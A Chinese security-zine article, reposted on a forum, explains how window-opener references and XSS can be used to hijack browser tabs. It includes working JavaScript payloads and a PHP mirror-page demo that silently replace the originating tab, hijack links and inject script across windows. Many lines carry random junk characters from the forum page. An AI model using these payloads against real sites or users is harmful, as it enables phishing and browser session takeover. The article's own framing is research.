中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
1 `0 z* _& d# L 5 P! b6 D+ R- o9 h5 q& s
                       Issue 0x03, Phile #0x05 of 0x07
, x" }5 C0 l2 A + R+ W, F: A9 o& ~% C% ^" D8 _
; @) r# N. I, w$ S9 j+ \0 l
|=---------------------------------------------------------------------------=|& w8 e( i% T' F  I5 H+ n
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|2 A$ u( I/ v! I4 M/ S
|=---------------------------------------------------------------------------=|$ O1 o' s7 @$ J
|=---------------------------------------------------------------------------=|0 A( s6 L7 u+ I2 ^, ]
|=------------------------=[      By rayh4c     ]=---------------------------=|4 r5 B- `  T# a4 x
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|+ x7 B/ r- I( F& Q) G
|=---------------------------------------------------------------------------=|
. E5 D& F3 M/ ?6 E) R* ]7 u( k* J

4 ], {; V& C2 l8 _: r[目录]
7 S; j8 v) r( y7 G& n, J- {# Y' @) Y7 M5 S% `" L; r
1. 前言
6 u' y& r$ W( O& f2. 同源策略简叙
7 d# X6 g0 K( R4 U! q) j& s3. 理解window对象的同源策略- \( S( u. \' M1 m
4. 窗口引用功能中的同源策略漏洞
! a( J" J8 \0 A  4.1 父窗口引用子窗口的同源策略问题
* ?8 W/ d: _! Q# C  4.2 子窗口引用父窗口的同源策略问题0 ~+ N) t- W- q3 U) R: c
5. 利用窗口引用漏洞劫持浏览器& I& K1 i/ y' K& j% n; [
6. 利用XSS漏洞劫持浏览器
* J' F$ r/ D. v$ n0 H/ Z/ [  6.1 正向跨窗口劫持# c8 Q( c0 m; e* w$ j
  6.2 反向跨窗口劫持5 r" s' X9 S' C: z. G# \: s
  6.3 极度危险的跨框架窗口引用劫持
2 j6 ?$ v# B2 m( s& e- L& l9 a2 ^  6.4 极度危险的正反向跨窗口递归劫持! A; h3 D0 c; O7 @; ]+ R/ B' _1 I
  6.5 完全控制浏览器
5 b, a8 X$ Q# O6 p; g% Z" f' n* l7. 后记) F: ^. \( s# \6 m6 T7 d0 |( x
8. 参考
! a6 ^7 s" i5 ~: X8 ]8 H3 a  Z( H1 e

8 _' P( p1 E! o& f2 A一、前言
" g" k) `' Z/ I3 Q1 v# M
% O$ c/ l% u4 f" o+ m, m    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
. n6 b0 s: s! @. d% O9 U友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ Q6 [9 W- y' L( v! l6 z7 s$ H劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
$ P- z* Q" ^5 y; f条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
8 p8 z0 G% a& n% F8 P$ T9 g' ^5 L( s/ D( H

& a# G6 m. M* X8 z/ t) r二、同源策略简叙2 v* I4 a+ d' {% e+ W" O+ G

1 U3 H  V8 J9 B+ r- p9 ~+ b    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
. X, Z; N! S1 v1 `; {从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
) S3 c4 S" B6 r1 A+ {" e" x, S3 W7 ?曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木3 S: {# o( o" g# r8 t) _+ |" _
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个5 h. c$ \/ U- ^" h0 S
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。: }* M7 {+ x; E( W9 g; D. a
- r8 V. ~& _) ~7 Z6 M

& x7 g/ z0 T6 A! h1 B# |1 R三、理解window对象的同源策略2 y% e+ h% U4 x% A4 t

: `# G% r' K% p0 f; [9 S9 k! P    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对$ ?( @9 k9 |3 @  W4 `6 Y
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
7 v" f' N0 s* h0 n( c) a+ R- N
+ q2 e+ P% I* z5 k3 w--code-------------------------------------------------------------------------5 [3 M) s# c+ L  {" |
<script language="javascript">0 A6 k0 e5 T5 c1 t: d2 i
for(p in window) document.write(p+"<br>");
- n' ?0 v/ w/ t- K: p. p5 l</script>
; T' a6 X& u. z. P% l3 ]! M* g-------------------------------------------------------------------------------
7 {6 X. s" @5 ?" E2 q2 ~+ }# T# P  @+ v" U  J/ R
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方. ]2 j4 S. c7 {7 X# w  {: J& u
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,. n  o7 x  k( h6 @/ t0 H
这些属性和方法就必须遵循同源策略。% }6 i+ ]9 F6 P

: m# t4 J% W3 [    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那" t/ Y1 O: k$ }! G
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须( J- O# T$ E+ }
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
, I# W0 E5 Q, |个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. b4 C* ?9 C- x) I4 h值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
* a9 n0 A4 e$ j" X2 b属性并没有被拒绝访问。
; j8 Y! b' Z+ H  L8 {+ Z/ l4 }
4 t6 W0 I& G( N! i--demo.html--------------------------------------------------------------------6 \3 C8 n' B' }" f3 m. E
<script language="javascript">   * E7 f& t) ?. C3 G
function allPrpos(obj) {      % i* y8 F0 T6 \+ h
      var props = "<table><tr><td>名称</td><td>值</td>";           
4 _, P/ T: \6 A      for(var p in obj){          ' y: k% f9 v& k# m* D
            if(typeof(obj[p])=="function"){   / h: `: w$ Q2 U, A  f9 o
                   obj[p]();   
# E- J! c4 v3 m0 ?8 y7 V. D, r             }else{                     
/ I4 j+ U1 \0 |) b" `! P$ D! T                  try   5 R$ ]" ?3 r& @, `
                   {   " ^. K; `7 H- \( U5 x* I. d6 G
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   6 X2 l2 |! M7 \. @5 D, L8 t
                   }   
& E7 g  _  \8 n3 T                  catch (ex)   
9 n3 Y. ^. k5 |& l% {                   {   , {1 i  [0 e* U; }
                   8 j; p3 k* t! _7 y0 e+ a2 [7 P
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
& \, `  F, w9 V9 @6 U" ^                   }   : w0 W& o5 G" [3 b, Z
                       
; K; g4 y# ~5 `& L; `6 F             }   
4 b" c7 K$ `8 w$ K       }   : j* f+ G" g( }: N
   1 \+ Q) l4 ?$ t
       document.write(props+"</table>");   
% I* F# ~( i. @& ~}   % j0 o/ q9 n" M# A/ P, i. ^6 E1 w
   
# i3 V. _; V6 i! W" g; Q6 E# jfunction createWin() {
! {' T1 `5 r& c; Z        newWin = window.open ("http://www.google.com");  
) }  O, x9 F) S% T0 {, [4 y9 P        setTimeout(function(){allPrpos(newWin)},2000);
, D; d0 K  T1 y7 p}
% ?- `! E9 l! v% G
3 P  G6 C* \, }- o</script> 3 F# {; g' W( C  e& _& R9 a  n/ h4 u1 ~

3 t6 C; f: k: V1 _: H: d<button onclick='createWin()'>创建一个非同源子窗口测试</button>
* @7 i5 k7 D) U! a( `1 Q-------------------------------------------------------------------------------
8 \; o4 n9 O2 W) M9 N8 F8 h7 Y4 ^, |- p. j+ N% m, V/ O, e

! C5 g3 h# J' L8 D0 ]0 ^四、窗口引用功能中的同源策略漏洞
9 g4 ~5 \+ Z+ H" }
7 H8 M+ l* N( h1 w% {$ ?* \& H4.1 父窗口引用子窗口的同源策略问题
$ p8 S  ?3 E" P/ y$ T" {! |& p
$ m" N& g$ d. `; c- x    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,6 U1 f4 Y" N7 N" H" c
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道9 P" @9 g; ~: F
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 v1 w0 S- }' ^2 o4 |行测试,会发现父窗口可以控制非同源子窗口location属性值。0 O  |) K$ F, _* [% p0 ^
0 n# u" V( y* y
--vul1.html--------------------------------------------------------------------6 T) s5 _' _# R2 M, @$ b
<script language="javascript">
0 W% ]2 t5 Q3 x3 F" {function createWin() {  ; z" l# v. s! l" x# t$ O2 o
        newWin = window.open ("http://www.google.com");  8 k& f7 ~. |: g7 R- H3 o" z3 @
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
7 `4 x& z7 z) J) W  l$ V}
1 W, ^+ k! o" b6 x. d/ h# z</script>& Z1 `: A# @( m' o$ ^/ r+ X& k
9 H. w- l, \! w8 Z
<button onclick='createWin()'>创建一个非同源子窗口测试</button>" j; j1 g8 y5 r. H1 |2 D
-------------------------------------------------------------------------------, s, Y/ y6 ]4 t7 x

: O6 j: b- s, i. P# }$ V4 g. X% x8 n$ U& \& b8 _8 I
4.2 子窗口引用父窗口的同源策略问题
2 Z/ h0 Z. ]( W. S% z
( c2 ?& e* G/ F! u) p    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
! v8 [' B% M  d# \9 n) J3 O用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
) U/ \1 N/ x: l' G0 r6 q可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定1 g% k6 A$ a6 y( Z2 q
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
6 p) l1 p% H* L
0 y3 o# x* B1 ^; G6 E  c/ W--code-------------------------------------------------------------------------$ _( i4 E  j- D: W

# ~2 b7 z1 k6 \" m; |javascript:window.opener.location = "http://www.80sec.com";void(0);
: v) L0 B1 l% U: _! f) t$ l8 }1 }; e' e8 f
-------------------------------------------------------------------------------: J/ I4 i: m7 }  |+ c2 K  V

. z  g1 p, Z$ F8 e
6 b- q7 S% ?  P" W! E5 P% p/ B+ U, h: ^五、利用窗口引用漏洞劫持浏览器
) ]% O$ f6 V0 k7 k! P
  S' L5 G9 n5 Z1 f. |    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
, B! a) y7 h# W2 O5 v  D& t窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那9 `* G6 N4 N( ^+ A6 B; X) m
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。2 S5 g& {: \6 D+ k$ ?  U* }
4 O7 Q7 E8 V6 Y4 D0 h
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
) r* c: u" K  w, o# l! y, K生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
# s9 f2 H- r' }者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接9 Y" _0 T% G7 ^+ }- V* u
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下% I* D& U+ O; l" m0 T/ v6 g
会产生什么可怕的后果。
( Z% E( b0 Z2 z# l# l9 z1 ~$ ~4 p$ O- |$ Z. b. h" O5 W, K
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
; ^$ x6 t9 o! z) ?0 [们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
" U% Y1 P4 c5 g1 z这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时2 e* ?5 H" r6 U, J4 K! a1 F. {
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
0 Y9 q# j' |5 e% w以做更多的事情,所有的一切仅仅是因为点击了一个链接。1 O1 ~8 @8 v/ y
( a9 l% u' _+ n0 C
--hjk_ref.php------------------------------------------------------------------3 g$ Z( L7 }2 {3 c  K1 L
<?php2 Q0 z* i5 v: q' j
if (array_key_exists("HTTP_REFERER", $_SERVER)) {" i4 ~& m- e7 D5 h, {# {
$Url_Mirror = $_SERVER["HTTP_REFERER"];) n. I/ B& u; Q" u2 \
}
# j% Z- e3 S4 W% yif(isset ($_GET['ref'])) {
  M7 F- S7 o# A' g* oecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
& c' C5 W5 g5 r* N9 z4 J5 h}1 M# Y# ^8 {% w* L/ [! ^  d
?>
6 i5 A* U6 f; v
2 s& L# }7 s( e, m& E4 w<script language="javascript">
  M' @: m; ~) D% ZsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
) r5 C  z- @( C% F2 S' Q</script>. v1 b" s4 H0 v  p% v
-------------------------------------------------------------------------------
* B& h5 |7 g) T5 W9 a- C+ V4 y8 H6 T7 ~( \% }$ {3 c. h" K; w
    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
& i" g3 J! t! @% Z3 q/ d( i* e
# N4 s2 Z+ B3 _6 r  D  [+ {- F; A) L
+ g" Q  E  F2 `  ]& Q  b六、利用XSS漏洞劫持浏览器6 v& x0 J5 v3 m0 v* t
( g# C% t" F2 e9 y- s
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
) L/ L8 t: H2 j' S1 e' h$ t持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后- e7 u, t1 B, J& N" I
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起& o+ @  u; C4 f
讨论跨站师的终极技巧:! {! Q9 S$ e6 `$ I1 [& B
' {! g& l5 b5 Q6 q
: A. ~) q0 }+ Z  R- u
6.1 正向跨窗口劫持) C+ C1 L" G, I% q* e6 z  I5 o
4 S  S! c, q# _: e" U* K
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
2 C  E0 v! V6 a  u& l4 l主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链/ l% E' p& G2 c( x
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话) z8 N: J8 h0 v2 L+ O  [# J+ p7 F( ?
框脚本。
6 _/ H3 O- B# i- l& W  j
! t% T8 u. J1 B# T: W5 @--hijack_open.js---------------------------------------------------------------8 t6 X& P2 K5 B' [( j; u4 i

% o" ]$ P. v, d/ b0 k6 w' mjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);0 j& x, d0 \4 D' k2 E2 E. b, A& R5 U+ f
8 i3 g. P6 d# e8 g  d" P+ F
-------------------------------------------------------------------------------
. \. \0 {6 U6 Z/ L! B# {$ I. v9 v* i9 u# N7 ]6 v/ R* ^
1 _( T& @4 n) }: f8 T0 }' A
6.2 反向跨窗口劫持
8 y* u' n- v' w7 i% M3 V
( H* \. d/ ?9 \2 ]    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代: W. _8 l6 W# E0 Q
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话+ `) j9 E- h+ A9 r2 T
框脚本。# f0 j6 U4 `# {' w
4 U6 d( q# \- a" m8 \
--hijack_opener.js-------------------------------------------------------------3 q# a# r1 c+ P9 q* f; Q/ x
. f, _8 B* P# R: O1 I" T
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);2 T; J1 a- y, n+ q
; ?5 F) v* }: A* y) r
-------------------------------------------------------------------------------2 V7 Q1 o) Z1 S
) x' D! k; w5 i

; O, X( F1 Z7 z( U. o6.3 极度危险的跨框架窗口引用劫持
3 U* k) q; M) K" E0 N% }* Q# Y  j
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞, |: W; ?, K+ p8 e2 o( X' w* L
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
) a. D/ a9 F. q, j; L& X, @3 y适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个0 H, k1 t5 p, m9 N) A, W
非持久型的XSS,如下:
, Z% Z7 @# n& c- [4 G6 e) f7 w9 x
; f/ s; H4 c1 t1 r& ]8 y. [<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>, g5 u% Y9 H# o6 h: s9 j* I

7 P3 I2 [  F* E; G8 N: t8 {9 ~/ F    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
1 `& @- `7 d1 g, `: M+ E- D注入脚本。) f3 s/ O" y/ j. h4 \* P9 f
7 P, V7 V# r! f/ Z
--hijack_frame_opener.js-------------------------------------------------------
2 s* ~+ c9 x% b" s<script>* I+ t9 x2 W5 d0 M
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";$ \( G  D' ?% T! b
</script>$ |0 x" Y7 P+ s
-------------------------------------------------------------------------------
5 q; g0 k0 j/ K- P' n. p/ M
, @- V; f' d" J3 \
3 B- t+ l- `1 \, J* d. c3 ~" ]' m+ [6.4 极度危险的正反向跨窗口递归劫持
8 v0 n$ ~2 {$ n+ [9 O- q6 d( p. g! K( h1 P( X  A% j
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window' \# J& O* R& z
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
. t( ?; o+ n+ h2 N) ]异常处理规避之间跨域页面的访问异常,代码如下:
$ M& R7 u% D; Q. v' n9 U) m( ?% A+ y' {1 T3 a  G& {* U
--code-------------------------------------------------------------------------
9 |) b( g) L' a3 z  m
  u+ a/ [; q' l1 D1 P2 wjavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);/ [3 H5 X' Q' X7 x
5 G' I$ T- H' F8 Y2 x; Q3 P( m
-------------------------------------------------------------------------------" X5 y% t4 U6 {/ @
: E% g5 n0 b6 Z
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可, n3 n9 d3 ]" @8 w9 k3 M
以劫持B域之前的A域页面,从而实现“隔空打击”。9 {) h% Y4 W' w. ]/ k4 [3 c: D' t, r

8 @. X$ K4 q( K$ O! k: q! |' K    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
6 V( U0 o/ R( x: h  P( |+ n5 |执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
; ^# i" y8 r) ]
. B0 W) V' _6 a' }2 h    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
5 n6 E0 T2 W; E1 J" o$ \$ f+ u) S3 w

" s- r. X6 X; f) p! O- `# [6.5 完全控制浏览器0 F: x+ y$ e) I/ {  \7 [

. V( J  X% g2 R  t5 v7 A    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; r/ I1 B( P  B, m是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
0 ]$ S0 X7 D% B5 w/ B漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失8 \6 k' Q4 \" Q: ]2 V
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; [3 F; {$ j3 R- R列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站8 M1 T+ @( W" e( E6 C2 P4 X9 F
师的终极目标 - 完全控制浏览器。
* O; g; D, ]5 O% E0 s, h
8 z4 o* [9 B4 N0 ]3 g) t) J5 W
2 A4 _$ D6 q$ V  ^' c七、后记4 w. d( g7 s' u
6 }+ _$ V$ S7 a  `/ \
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ N1 C: n$ d& j2 q  w与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予; N4 m' {1 ]; }* A) l7 Q6 P8 s8 }
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。- I8 i: n5 j% ^  g1 e" t

% A1 W; t7 F# z( `% _5 N! x5 X
0 C, R+ k' e9 x八、参考
3 y9 x1 u* k5 ~3 ?- t7 S
; \1 p4 b/ m3 J8 T1 S2 T7 @1. http://en.wikipedia.org/wiki/Same_origin_policy
, O+ @( B: L, q' Q: x$ j7 q; Y4 _: K/ U2. http://code.google.com/p/browser ... licy_for_DOM_access
0 Y1 [- G% e! @3. http://www.w3.org/TR/Window/
9 @( m  l8 O& s- C4. http://www.80sec.com/release/browser-hijacking.txt6 p3 Q- b5 p* E: U
5. http://www.80sec.com/all-browser-security-alert.html2 D6 K6 q( Q' u- d0 @( Q" |3 A
6. http://www.80sec.com/ms08-058-attacks-google.html
+ \8 C& f/ ]' z2 T& Y6 e, W. \! l; F9 n
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2